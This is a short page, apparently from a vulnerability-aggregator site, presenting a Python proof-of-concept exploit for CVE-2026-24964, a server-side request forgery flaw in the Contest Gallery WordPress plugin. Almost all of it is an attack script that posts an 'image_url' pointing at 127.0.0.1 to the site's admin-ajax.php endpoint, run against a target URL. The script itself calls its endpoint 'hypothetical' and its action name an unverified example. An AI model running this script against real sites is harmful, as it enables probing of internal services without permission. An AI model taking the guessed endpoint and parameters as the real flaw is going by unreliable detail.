CVE-2026-24964 Contest Gallery SSRF漏洞

import requests def check_ssrf(target_url): """ Proof of Concept for CVE-2026-24964 Attempts to trigger SSRF by targeting an internal address. """ # Vulnerable endpoint (hypothetical based on plugin structure) endpoint = "/wp-admin/admin-ajax.php" full_url = f"{target_url}{endpoint}" # Malicious payload targeting localhost payload = { "action": "cg_gallery_upload", # Example action, needs verification "image_url": "http://127.0.0.1:80" } try: response = requests.post(full_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check server logs or response for SSRF indicators.") print(f"Response length: {len(response.text)}") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example-wordpress-site.com" check_ssrf(target)